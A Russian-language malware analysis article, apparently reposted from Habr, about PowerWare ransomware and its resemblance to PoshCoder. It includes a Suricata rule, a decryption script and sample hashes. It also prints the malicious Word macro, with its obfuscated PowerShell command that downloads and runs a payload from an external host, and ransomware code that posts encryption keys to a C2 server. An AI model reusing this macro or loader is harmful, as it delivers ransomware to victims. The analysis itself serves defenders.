- PVSM.RU - https://www.pvsm.ru -
PowerWare загружается, с помощью Microsoft Word, документом с макрос-включениями и распространяется с помощью фишинговой спам-рассылки.
Вредоносный документ пытается убедить пользователя включить макросы, сообщая им, что файл защищен Microsoft Office. Это, конечно же фарс. Как только макрос включен, вымогатель PowerWare будет загружен и выполнен. Этот вымогатель в основном направлен на мед учреждения в США. Немного отклоняясь от темы хочу заметить, как же все таки хорошо, что в наших медучреждениях используется старая добрая персональная карта.
Используя olevba.py
от oletools
, мы можем извлечь макрос из вышеупомянутого документа для анализа.
Private Sub Document_Open()
Dim CGJKIYRSDGHJHGFFG As String
CGJKIYRSDGHJHGFFG = "cmd /K " + "pow" + "eR" & "sh" + "ell.e" + "x" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile('http://skycpa[.]in/file.php','%TEMP%Y.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%Y.ps1"
Shell CGJKIYRSDGHJHGFFG, 0
MsgBox ("Unreferenced library required")
End Sub
На выводе выше мы видим- макрос намеревается выполнить следующую PowerShell команду:
"cmd /K " + "pow" + "eR" & "sh" + "ell.e" + "x" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile('http://skycpa.in/file[.]php','%TEMP%Y.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%Y.ps1”
Вымогатель использует файл cmd.exe
, чтобы запустить powershell.exe
, так как в некоторых системах непосредственный вызов исполняемого файла блокируется. Команда также вносит незначительную путаницу, такую как разделение powershell.exe
на блоки размером с бит и смешивание верхнего и нижнего регистра. Кроме того, команда пытается обойти политику выполнения и не использовать какие-либо профили, установленные системой для использования по умолчанию. После, она загружает форму полезной нагрузки syscpa[.]
в временный каталог такой как Y.ps1, после чего запускает его выполнение.
При анализе файла PowerShell, который был загружен, вы можете заметить, что логика программирования выглядит знакомой. PowerWare в значительно степени основан на PoshCoder, другом вымогателе, который считался самым подлым из-за того, что уничтожал зашифрованные файлы из-за ошибок в логике программирования. Стиль программирования и последовательность действий довольно схожи, некоторые даже утверждают, что это — один из вариантов PoshCoder, а не полностью новое семейство вымогателей PowerShell. Ниже приведены некоторые из основных сходств:
1. Оба включают использование класса RijndaelManaged
. Но использование этого класса не является редкостью. Однако, если Вы обратите внимание на использование класса, то Вы заметите, что эти два- довольно подобны между собой, начиная от ключевой инициализации до выбора режима и дополнения.
$XlowQsiRsKORgfR = new-Object System.Security.Cryptography.RijndaelManaged
$XlowQsiRsKORgfR.Key = (new-Object Security.Cryptography.Rfc2898DeriveBytes $BchjdRgasjcThsjd, $UxjcRgasjfvRsj, 5).GetBytes(32)
$XlowQsiRsKORgfR.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes("XlowQsiRsKORgfRjBMPLmCamEMyFRlWfsgTgh") )[0..15]
$XlowQsiRsKORgfR.Padding="Zeros"
$XlowQsiRsKORgfR.Mode="CBC"
Bnx8Khahs3Hjx96 = new-Object System.Security.Cryptography.RijndaelManaged
$Bnx8Khahs3Hjx96.Key = (new-Object Security.Cryptography.Rfc2898DeriveBytes $GBCSWHJKIYRDVHH, $VGHKJJGFERHJJGSDQWD, 5).GetBytes(32)
$Bnx8Khahs3Hjx96.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes("alle") )[0..15]
$Bnx8Khahs3Hjx96.Padding="Zeros"
$Bnx8Khahs3Hjx96.Mode="CBC"
2. Если посчитать все типы файлов, которые они шифруют, которые тут не показаны, чтобы не засорят место, то получите значение 451 тип файлов. Из этих 451 большинство найдено в обоих образцах, за исключением пяти типов, .amf
, .qtiq
, .srf
, .val
и .waw
. Разница между двумя образцами меньше 1%.
Эти два образца не являются точными копиями друг друга, есть некоторые различия в базе кода, которые вы увидите ниже.
Особенность PoshCoder в использовании жестко закодированных значений для шифрования файлов. PowerWare, с другой стороны, использует Get-Random Cmdlet [1] чтобы в произвольном порядке генерировать значения что бы создать пароль и соль (модификатор) для RijndaelManaged.
$GBCSWHJKIYRDVHH = ([ChaR[]](GeT-RandOm -Input $(48..57 + 65..90 + 97..122) -Count 50)) -join ""
$SGKPOTTHJMNFDRYJKJ = ([ChaR[]](GeT-RandOm -Input $(48..57 + 65..90 + 97..122) -Count 20)) -join ""
$SQEGJJYRFBNHFFHJ = ([ChaR[]](GeT-RandOm -Input $(48..57 + 65..90 + 97..122) -Count 25)) -join ""
PoshCoder не включает какие либо виды сетевых коммуникаций. Он просто передает в произвольном порядке сгенерированные значения к удаленному серверу через запрос POST в HTTP использующий XMLHTTP.
$73848HhjhdRghx67Hhsh = New-Object -ComObject MsXml2.XMLHTTP
$73848HhjhdRghx67Hhsh.open('POST', $XCJHEDIJGDFJMVD, $false)
$73848HhjhdRghx67Hhsh.setRequestHeader("C"+"ontent-tYpe",
"apPlicAtion/x-www-form-url"+"enCodeD")
$73848HhjhdRghx67Hhsh.setRequestHeader("ConteNt-length", $post.length)
$73848HhjhdRghx67Hhsh.setRequestHeader("CoNNeCtion", "close")
$73848HhjhdRghx67Hhsh.send($HGJHBVSRYUJNBGDRHJ)
3. Варианты PoshCoder имеют признаки плохого программирования и поэтому некоторые из зашифрованных файлов могут не подлежать восстановлению. В частности скрипты указывает на то, что любой файл, размер которого меньше чем 42871 байт будет зашифрован полностью, но в случае с большими файлами шифруется только первый 42871 байт. Это проблема, потому что шифрование будет читать первые 42871 байт файла, шифровать их и затем добавлять еще 16 байтов дополнения, чтобы достигнуть следующей черты. Из-за дополнения, перезаписанные байты от 42872 до 42880 не могут быть восстановлены. Была также проблема с ключом AES, не будучи должным образом просуммированным при преобразовании в строку base64
в момент дешифровки переменная будет содержать NULL
или пустое значение. К счастью у PowerWare, кажется, нет этих проблем, и файлы могут быть нормально восстановлены.
Как было отмечено ранее, PowerWare передает сгенерированные в произвольном порядке значения к удаленному серверу в открытом тексте через запрос POST, используя XMLHTTP. Это делает трафик легко поддается расшифровке с помощью AlienVault USM [2] или другого NIDS с надлежащим правилом Suricata:
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"AV TROJAN Ransomware PowerWare/Poshcoder CnC Checkin"; flow:established,to_server; content:"POST"; http_method; content:"Content-Type|3a| application/x-www-form-urlencoded"; http_header; nocase; content:".php"; http_uri; content:"string="; http_client_body; nocase; content:"&string2="; http_client_body; nocase; content:"&uuid="; http_client_body; nocase; reference:md5,4564d49eda7a048f301b1f87f9da3c62; classtype:trojan-activity; sid:12345678; rev:1;)
Который, в теории, получил бы трафик в том же виде, в котором представлен на скриншоте ниже:
Для расшифровки файлов потребуется:
Используя значения string
и string2
можно расшифровать файлы, зашифрованные с помощью PowerWare.
param([string]$filename = $(Throw "Argument 'filename' required."), [string]$string1 = $(Throw "Please enter 'string'."),[string]$string2 = $(Throw "Please enter 'string2'."))
write-host "The entered filename is: $filename"
write-host "The entered Password is: $string1"
write-host "The entered Salt is: $string2"
$salt = [Text.Encoding]::UTF8.GetBytes($string2)
$Rijndael = new-Object System.Security.Cryptography.RijndaelManaged
$Rijndael.Key = (new-Object Security.Cryptography.Rfc2898DeriveBytes $string1, $salt, 5).GetBytes(32)
$Rijndael.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes("alle") )[0..15]
$Rijndael.Padding="Zeros"
$Rijndael.Mode="CBC"
try{
$binReader = New-Object System.IO.BinaryReader([System.IO.File]::Open($filename, [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::Read),[System.Text.Encoding]::ASCII)
if ($binReader.BaseStream.Length -lt 2048){
$binReader_length = $binReader.BaseStream.Length
}
else
{
$binReader_length = 2048
}
$data = $binReader.ReadBytes($binReader_length)
$binReader.Close()
$The_Decryptor = $Rijndael.CreateDecryptor()
$memStream = new-Object IO.MemoryStream
$cryptoStream = new-Object Security.Cryptography.CryptoStream $memStream,$The_Decryptor,"Write"
$cryptoStream.Write($data, 0,$data.Length)
$cryptoStream.Close()
$memStream.Close()
$The_Decryptor.Clear()
$memStream_Array = $memStream.ToArray()
$binWriter = New-Object System.IO.BinaryWriter([System.IO.File]::Open($filename, [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::Read),[System.Text.Encoding]::ASCII)
$binWriter.Write($memStream_Array,0,$memStream_Array.Length)
$binWriter.Close()
}
catch
{
write-host "Someting broke, set debuggers to level 10"
}
Проанализированных образцов:
4564d49eda7a048f301b1f87f9da3c62 — PowerWare
627e107a62bdf541ffcfaa045fe9ba32 — PoshCoder/PoshKoder
9fe45fc4c402932248cd2c26b65f883d — PoshCoder/PoshKoder
be03eb109cab04a1a70b5bbc7b22949e — PoshCoder/PoshKoder
d09cef5f16b1e5813a25fef43474ac96 — PoshCoder/PoshKoder
В то время как PowerWare кажется новым семейством вымогателей, по большей части он основан на PoshCoder. Для более четкого понимания требуется потратить значительно больше времени анализируя PowerWare, но надеемся и такого рода анализ поможет исследователям в области безопасности в их усилиях.
Автор: ua-hosting.company
Источник [3]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/vzlom/119263
Ссылки в тексте:
[1] Get-Random Cmdlet: https://technet.microsoft.com/en-us/library/ff730929.aspx
[2] AlienVault USM: https://www.alienvault.com/products
[3] Источник: https://habrahabr.ru/post/282503/
Нажмите здесь для печати.